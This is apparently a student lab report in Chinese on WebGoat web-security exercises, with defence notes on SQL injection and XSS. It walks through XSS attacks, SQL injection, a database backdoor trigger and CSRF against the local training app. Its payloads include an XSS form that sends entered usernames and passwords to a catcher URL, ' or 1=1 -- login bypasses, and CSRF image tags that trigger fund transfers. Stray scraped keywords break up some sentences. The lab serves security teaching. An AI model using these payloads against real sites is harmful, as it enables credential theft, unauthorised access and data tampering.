20155207 《網絡對抗》 Exp9 Web安全基礎

20155207 《網絡對抗》 Exp9 Web安全基礎

實驗內容

  • 關於WebGoat
  • Cross-Site Scripting(XSS)練習
  • Injection Flaws練習
  • CSRF攻擊

實驗總結與體會

此次實驗在WebGoat裏作了SQL注入的10個相關實踐,從上週學習的簡單經過文本框中輸入字符串構造SQL語句進行SQL注入到在文本框中提交文本或者發送郵件作XSS攻擊,還有利用;郵件發送含有惡意URL請求的HTML對象來利用用戶的COOKIE作非法操做javascript

基礎問題回答

  • (1)SQL注入攻擊原理,如何防護?
- 原理:SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,使非法數據侵入系統。

- 防護:

1.對用戶的輸入進行校驗,能夠經過正則表達式,雙"-"進行轉換等。
2.不要使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3.不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。
4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出儘量少的提示。
6.採起輔助軟件或網站平臺來檢測sql注入。
  • XSS攻擊的原理,如何防護?
- 原理:XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼(如,HTML代碼和客戶端腳本)植入到提供給其它用戶使用的頁面中,攻擊者能夠利用XSS漏洞旁路掉訪問控制。

- 防護:

1.特徵匹配方式,在全部提交的信息中都進行匹配檢查,通常會對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊。
2.對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。
3.實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
  • (3)WebServer支持哪些動態語言
  • ASP、PHP、JSP、Python

實驗過程記錄

webgoat

  • 開啓webgoat:java -jar webgoat-container-7.0.1-war-exec.jar
  • 在瀏覽器上訪問localhost:8080/WebGoat,登陸

XSS攻擊

Phishing with XSS

  • 這個題目咱們要在搜索框中輸入XSS攻擊代碼:
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單,而後輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你:

Reflected XSS 反射型XSS攻擊

  • code框中輸入```alert("I am 20155207")題目要求:要建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。

Stored XSS Attacks

  • 直接在title裏隨便輸入,而後在message中輸入一串代碼,好比:<script>alert("5207!");</script> 提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功

Injection Flaws

Command Injection

  • 經過火狐瀏覽器下的一個擴展Firebug對源代碼進行修改

  • 選中修改後的值再點view,能夠看到命令被執行,出現系統網絡鏈接狀況

Numeric SQL Injection

  • 進行SQL注入在station字段注入特徵字符,以組合成新的SQL語句,SELECT * FROM weather_data WHERE station = [station],要得到全部的天氣數據,就在station中的任意一個值後面加入一個1=1,因爲1=1爲永真式,選擇所修改的value所指向的城市,就能夠獲得全部的天氣。

LAB:SQL Injection

String SQL Injection
  • 題目要求:使用字符串SQL注入在沒有正確密碼的狀況下登陸帳號boss。java

  • 在密碼欄中輸入' or 1=1 --進行SQL注入,可是登陸失敗。web

  • 查看源代碼,去掉對輸入長度的限制,登陸成功。正則表達式

Numeric SQL Injection
  • 經過注入語句,瀏覽到本來沒法瀏覽的信息。經過一個普通員工的帳戶larry,瀏覽其BOSS的帳戶信息。首先咱們用上一題的辦法登陸Larry的帳號!在密碼框裏輸入' or 1=1 --,登陸後發現咱們只能看見Larry一我的的工資信息。

  • 瀏覽員工信息的按鈕是ViewProfile.在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,把其中的value值改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一個:

String SQL Injection
  • 這個表單容許使用者查詢他們的信用卡號,使用SQL注入讓全部的信用卡號都看得見。sql

  • 咱們構造一個永真式「1」,那麼無論前面的WHERE是否成立都能執行,因此構造語句'or 1='1,成功獲得了所有的信用卡號。數據庫

Blind Numeric SQL Injection
  • 題目要求是獲得一個存放在pins表中值pin的內容,行號cc_number=1111222233334444,是一個int型的數據。
    而後使用BurpSuite進行攔截,攔截後action--send to intruder進行暴力破解,使用sniper模式,選擇10000進行數字爆破(選擇前先clear將默認的爆破點清除),從1到10000,步長爲1。能夠發現2364的報文長度明顯和其餘不同,那這個值就應該就是2364:

Database Backdoors
  • 先輸入示例101進行嘗試,獲得了該用戶的信息。
  • 觀察發現輸入的語句不進行驗證,因而咱們輸入語句:101; update employee set salary=10000成功將該用戶的工資變成10000,攻擊成功:
  • 輸入語句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155207@hackme.com' WHERE userid = NEW.userid
  • 表中一旦添加新用戶那麼就在用戶表裏將新用戶的郵箱改成我設置的郵箱

4.CSRF攻擊

Cross Site Request Forgery
  • 在文本框中提交一個有URL惡意請求的代碼,<img src='attack?Screen=278&menu=900&transFunds=100000' width='1', height='1'>,其中scr=278,menu=900,點擊就會執行
CSRF Prompt By-Pass
  • 與上個實驗相似,除了轉帳金額還增長了確認轉帳,一樣構造兩個包含惡意URL的圖片,這次scr=268,增長<img src='attack?Screen=268&menu=900&transFunds=CONFIRM' width='1', height='1'>

成功列表

相關文章
相關標籤/搜索